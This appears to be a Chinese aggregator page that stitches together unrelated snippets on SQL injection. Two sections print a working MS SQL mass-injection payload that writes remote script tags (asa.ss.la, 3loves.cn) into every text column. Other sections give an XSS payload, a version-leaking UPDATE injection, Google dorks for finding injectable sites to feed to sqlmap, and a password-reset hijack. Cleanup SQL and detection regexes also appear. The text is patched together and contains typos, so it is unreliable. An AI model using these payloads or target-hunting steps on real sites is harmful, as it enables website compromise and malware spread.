㈠ sql注入語句
沒編什麼碼
就直接轉換成ascii就行了
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''</title><script src=http://asa.ss.la/1.js></script>''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor
總體思想就是把你的html代碼里插入一段js
js來自http://asa.ss.la/1.js
㈡ 如何在一條UPDATE查詢中實現SQL注入
跟往常一樣,在喝完我最愛的果汁飲料之後,我會習慣性地登錄我的Synack賬號,然後選擇一個應用來進行滲透測試,此時我的「黑客之夜」便正式開始了。
我與很多其他的安全研究人員的習慣一樣,我會在待測試目標中隨機選擇測試點來載入我的XSS Payload(我通常會使用』」><img src=x onerror=alert(2) x=來作為Payload,註:開頭是一個單引號)。在測試的過程中,我的這個Payload讓其中一個測試點返回了一個「500 error」,錯誤信息提示為「系統遇到了一個SQL錯誤」,看到了這條錯誤信息之後,我瞬間就興奮起來了,因為憑我之前的經驗來看,這里很有可能存在一個SQL注入漏洞。
根據系統返回的錯誤信息來看,錯誤內容就是我的「用戶全名(Full Name)」,所以我趕緊切回剛才的測試界面,然後用test『test再次進行了一次測試,而此時系統返回的是與剛才一模一樣的錯誤內容,這也就意味著引起系統發生錯誤的「罪魁禍首」就是Payload中的那個單引號。
了解到這一關鍵信息之後,我意識到這個應用中所使用的SQL查詢語句並沒有對單引號進行轉義,所以我打算輸入兩個單引號來看看會發生什麼事。所以我這一次輸入的是test」test,使我感到震驚的是,這一次系統並沒有提示任何的錯誤信息,但是我的用戶全名變成了test』test!
由於這個存在注入點的文本域是用來編輯用戶全名(FullName)的,所以我猜這個存在漏洞的查詢語句為UPDATE查詢。於是我將我的全名改為了』+@@VERSION +』,然後重新載入頁面之後,我的用戶全名就變成了5.6,而不出意外的話,這個5.6代表的就是後台MySQL資料庫的版本號了。
需要注意的是,頁面發送的是JSON請求,所以這里的「+」代表的並不是空格符(%20)。
㈢ 尋求高手破解sql語句,sql注入防止方法!!
我來告訴你!
因為剛好攻擊我們的代碼也跟這類似
這段代碼是由字元串轉為16進制代碼而生成的。
你只要找個工具轉回來就全明白了
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3loves.cn/k.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
這回看明白了吧
他利用你的資料庫連接用戶許可權過高的漏洞
通過創建動態sql,把你當前庫的所有數據表和欄位調出來,然後遍歷所有表和欄位,把那段<script src=http://3loves.cn/k.js></script>代碼更新進去。
那麼如何防止:
1、在你的腳本程序里禁止外部提交
2、對SQL注入做處理
3、降低資料庫連接用戶的許可權
㈣ 360提示SQL注入盲注,請看文件,哪裡錯誤了呢
是在這個語句上:
Rs.source = "select * from Company where ID="&ID&""
在這個語句中,直接將瀏覽器端傳回的字串作為ID值了。如果瀏覽器返回的ID字串為1 OR 1 = 1,那麼查詢的select語句就變成了select * from Compay where ID = 1 OR 1 = 1,該查詢的條件就永遠為TRUE了。這里就存在SQL注入風險。
㈤ 網站資料庫被SQL注入後應該怎麼辦
之前做過了一個網站,由於沒有對頁面參數進行驗證,掛上去沒多長時間就被人掛馬了,資料庫的每個表每個欄位內容里都被注入了一段代碼,什麼在資料庫中還新建了自己的表,真是太囂張了,但是這么多內容是不可能手動去刪除的,解決過程如下
一、首先刪除資料庫被注入的代碼
如統一刪除<script src=http://3b3.org/c.js> </script> (此適用於sql server)
DECLAREhCForEachCURSORGLOBAL
FOR
SELECTN'update'+QUOTENAME(o.name)
+N'set'+QUOTENAME(c.name)+N'=replace(CAST('+QUOTENAME(c.name)+'asvarchar(8000)),''<scriptsrc=http://3b3.org/c.js></script>'','''')'
FROMsysobjectso,syscolumnsc,systypest
WHEREo.id=c.id
ANDOBJECTPROPERTY(o.id,N'IsUserTable')=1
ANDc.xusertype=t.xusertype
AND(t.name='varchar'ort.name='ntext')
EXECsp_MSforeach_Worker@command1=N'?'
注意這樣刪除之後 ntext欄位將被截斷成8000個字元 導致數據丟失,當然其實在sql注入之前這種欄位屬性已經被截斷了,所以在刪除這些之後還要進行數據恢復但是 網站被掛馬往往是隨機的不知道什麼時候 我們可能沒有做及時的備份,無法恢復
這時候我們可以考慮從資料庫日誌進行恢復
1,如果誤操作之前存在一個全庫備份(或已有多個差異備份或增量備份),首先要做的事就是進進行一次日誌備份(如果為了不讓日誌文件變大而置trunc. log on chkpt.選項為1那你就死翹了)
backuplogdbNametodisk='fileName'
2,恢復一個全庫備份,注意需要使用with norecovery,如果還有其他差異或增量備份,則逐個恢復
restoredatabasedbNamefromdisk='fileName'withnorecovery
3,恢復最後一個日誌備份即剛做的日誌備份,指定恢復時間點到誤操作之前的時刻
restorelogdbNamefromdisk='fileName'
withstopat='date_time'
最後就是把網站的漏洞補上 對參數進行過濾
㈥ 如何檢測SQL注入和CSS攻擊漏洞
對於他們的攻擊,主要是通過使用正則表達式來做輸入檢測:
檢測SQL meta-characters的正則表達式 :/(\%27)|(』)|(--)|(\%23)|(#)/ix
解釋:我 們首先檢查單引號等值的hex,單引號本身或者雙重擴折號。
修正檢測SQL meta-characters的正則表達式: /((\%3D)|(=))[^ ]*((\%27)|(』)|(--)|(\%3B)|(:))/i
解釋: 這個規則首先留意 = 號或它的hex值(%3D),然後考慮零個或多個除換行符以外的任意字元,最後檢測單引號,雙重破折號或分號。
典型的 SQL 注入攻擊的正則表達式: /w*((\%27)|(』))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
解釋:
w* - 零個或多個字元或者下劃線。
(\%27)|』 - 單引號或它的hex等值。
(\%6 F)|o|(\%4 F))((\%72)|r|-(\%52) -『or』的大小寫以及它的hex等值
檢測SQL注入,UNION查詢關鍵字的正則表達式: /((\%27)|(』))union/ix
(\%27)|(』) - 單引號和它的hex等值
union - union關鍵字
可以同樣為其他SQL查詢定製表達式,如 >select, insert, update, delete, drop, 等等.
檢測MS SQL Server SQL注入攻擊的正則表達式: /exec(s|+)+(s|x)pw+/ix
exec - 請求執行儲存或擴展儲存過程的關鍵字
(s|+)+ - 一個或多個的空白或它們的http等值編碼
(s|x) p- 『sp』或『xp』字母用來辨認儲存或擴展儲存過程
w+ - 一個或多個字元或下劃線來匹配過程的名稱
CSS的檢測也主要是正則表達式:
一般 CSS 攻擊的正則表達式: /((\%3C)|<)((\%2F)|/)*[a-z0-9\%]+((\%3E)|>)/ix
解釋:
((\%3C)|<) -檢查<和它hex等值
((\%2F)|/)*-結束標簽/或它的 hex等值
[a-z0-9\%]+ -檢查標簽里的字母或它hex等值
((\%3E)|>) -檢查>或它的hex等值
"<img src" CSS 攻擊正則表達式: /((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^ ]+((\%3E)|>)/I
解釋:
(\%3 C)|<) -<或它的hex等值
(\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) -』img』字母或它的大小寫hex等值的變化組合
[^ ]+ -除了換行符以外的任何跟隨<img的字元
(\%3E)|>) ->或它的hex等值
CSS 攻擊的極端的正則表達式 : /((\%3C)|<)[^ ]+((\%3E)|>)/I
解釋:
這個規則簡單尋找<+除換行符外的任何字元+>。由於你的web伺服器和web應用程序的構架,這個規則可能產生一些錯誤。但它能保證捉住任何CCS或者類似CSS的攻擊。
㈦ 一個完整挖洞/src漏洞實戰流程【滲透測試】
只要搞滲透,不就會聽到很多行業內人前輩一直在重復:「信息搜集」 信息搜集有多重要,你搜集的到的多少資產信息,決定了你後續進行的一系列實戰到什麼程度!
要說SQL注入的漏洞咋找,邏輯漏洞咋找,支付漏洞咋找,越權漏洞咋找,等等
實這都一個道理,用谷歌語法,找通殺用fofa,這里演示幾個類型的漏洞,其它的也是一個道理。
第一個: SQL注入漏洞
AS:首先是SQL注入的,這個漏洞說實話,基本就是谷歌語法找的快,
語法: inurl:asp?id=23公司,這時候你會問:不是inurl:asp?id= 就行了嗎,當然!
這可以!如果你想找到一些奇奇怪怪的站可以用這個,比如:
這時候明白接公司的重要性了吧,這里找的是asp的站,為啥找asp的站?
其中一一個最重要的原因就是因為他,好挖!
當然這里只是找了一小部分站點的, 如果突然發現重復了咋辦?
這個簡單,換個id就行了同學!
inurl:asp?id-34公司,這里的id 值不斷的變變變就行了,你們也可以對比一下
這是不是就不一樣了,當然如果有興趣的話,也可以搜搜inurl :php?id=12公司
這也是可以找到很多站的,不過加WAF的幾率很大
我找了10個9個都加過,所以說要想上分上的快,asp 的站絕對不能落下!
這里我就不多敘述,因為這站好找,真的特別好找,但是要想能弱密碼進去的卻很少
直接上鏡像站一放inurl:什麼牛鬼蛇神都出來了,這後台管理的站可以說是非常多了
當然如果不想找到國外其它奇奇怪怪的站點的話,建議加個關鍵詞公司
可以看到這里一堆後台,當然要滲透這些後台弱密碼很少能進去了
你看到我打inur1: 它自動給我補齊關鍵詞了嗎,說明這玩意很多人挖
一般搞後台,先信息收集,這個等會說,反正我是沒搞到過幾個
這種漏洞咋找?商城,積分商城。
試試谷歌語法: info:商城AND積分商城
這不全是商城嗎,當然對於一些大廠, 建議不要去搞
因為防護也會比一般的站點比較嚴格,況且現在做在線網上商城的站點也很少了
其實可以在漏洞挖掘的時候注意一下站點是否有paypal這個功能,有的話,可以搞一搞的,這還是有搞頭的
再來就是邏輯漏洞,比如說平行,垂直越權,任意密碼重置啊什麼的。這類漏洞還是很多的,大家也可以去慢慢測的!
最後一個,通殺的漏洞咋找?
這時候就是要靠我們萬能的fofaQ了,首先我們要知道有哪些cms有漏洞
這里大家可以去找網上的漏洞庫,裡面- -般都會有漏洞合集和這里我稍後會給大家推薦一兩個
看到沒有,就是這么多cms,殺一個准,上分必備漏洞
不過有些重復提交了,可以給你們看看學員們的戰果!
當然,重復了幾個,但還是相當不錯了。
看完開頭,相信你已經知道怎麼找漏洞了,那我們就說說漏洞如何挖掘,這里分事件型和通用型漏洞
首先來的,肯定是我們的sq1注入了,首先使用我們的通用語法inurl:asp?id=xx 公司
直接點進去,不要害怕,只要不違法,咱不幹壞事就行
看到報錯了,說明啥,說明可能存在注入啊朋友,直接and 1=1 |and 1=2插進去
經過一番尋找,我們來到了這個網站:
看到網站直接插單引號,看他報不報錯
看到效果十分明顯,這種情況直接丟sqlmap9 ,反正我是丟的sqlmap , 大家如果時間充足的話可以上手
下一個站,這個站存在的漏洞是任意密碼重置和CSRF漏洞
首先是CSRF漏洞,相信不用我說你們也應該會了,這里就是這點出現漏洞
你們可以自己去測測,這里說我主要說的是任意密碼重置漏洞
(這個漏洞現在也已經被修復了)
在這一步的時候, 抓個包
這里再改成自己的郵箱,這樣自己的郵箱就能接收到驗證鏈接,直接點擊就好
看到這里,支付漏洞 和驗證碼繞過之類的邏輯漏洞是不是感覺+分的好挖,有沒有這種感覺!
這里類型比較多,篇幅太長不好閱讀。舉例這兩種做參考~
三、提交報告
例如.com發現了SQL注入
第一步:「標題」和「廠商信息」和「所屬域名」
站長工具icp.chinaz.com/.co...
查詢域名備案信息,看到這個公司名了嗎
這樣寫
漏洞類別啥的,如果不是0day的話,像圖中一樣就行了
所屬域名要寫該公司的「網站首頁」或者「官網」
看到這個了嗎
漏洞類型: -般都是Web漏洞,然後漏洞是什麼寫什麼,這里是一個SQL注入。
漏洞等級: SQL注入-般都是高危,但如果廠商比較小的話,會降級,降成中危。
漏洞簡述:描述一下SQL注入是什麼、 有什麼危害之類的。
漏洞url:出現漏洞的URL。
影響參數:哪個參數可以注入就寫哪個
漏洞POC請求包: Burp抓個包復制粘貼。
如果你嫌每次打字麻煩,可以新建一個記事本, 把框架寫好,提交的時候替換一些內容就可以了。
把標題、漏洞簡述、復現步驟、修復方案,把標題、漏洞簡述、復現步驟、修復方案,可以省不少時間!
今天的內容雖然偏長,但是都是干貨呀!從找漏洞到提交直接一步到位! 安排的明明白白!
注:任何未經授權的滲透都是違法行為,咱們挖SRC,擔心會違法,記住一點, 點到為止,不要動裡面的數據,發現漏洞之後,盡快提交漏洞,聯系廠商進行修復。